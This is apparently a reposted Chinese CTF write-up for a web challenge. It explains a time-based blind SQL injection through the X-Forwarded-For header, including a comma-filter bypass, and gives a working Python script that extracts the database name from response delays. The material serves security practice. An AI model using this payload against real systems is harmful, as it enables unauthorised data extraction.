标签：ch HTTP sqli header sleep result print 延迟

http://123.206.87.240:8002/web15

无回显，通过http header里的X-Forwarded-For字段进行sleep注入。

源码过滤了 ',' 那么相应的if语句可以替换为select case when xxx then xxx else 0 end

substr和substring里使用from 1 for 1代替','

 1 # -*- coding:utf-8 -*-
 2 import requests
 3 import sys
 4     
 5 data = "127.0.0.1'+(select case when substr((database()) from {0} for 1)='{1}' then sleep(6) else 0 end))-- +"
 6 url = 'http://123.206.87.240:8002/web15/'
 7 result = ''
 8 for i in range(1, 10):
 9     print'Guessing:', str(i)
10     for ch in range(33, 129):
11         if ch == 128:
12             sys.exit(0)
13         sqli = data.format(i, chr(ch))
14         print(sqli)
15         header = {
16             'X-Forwarded-For': sqli
17         }
18         try:
19             html = requests.get(url, headers=header, timeout=4)
20         except:
21             result += chr(ch)
22             print 'result: ',result
23             break

标签：ch,HTTP,sqli,header,sleep,result,print,延迟
来源： https://www.cnblogs.com/Aiden-/p/10952514.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。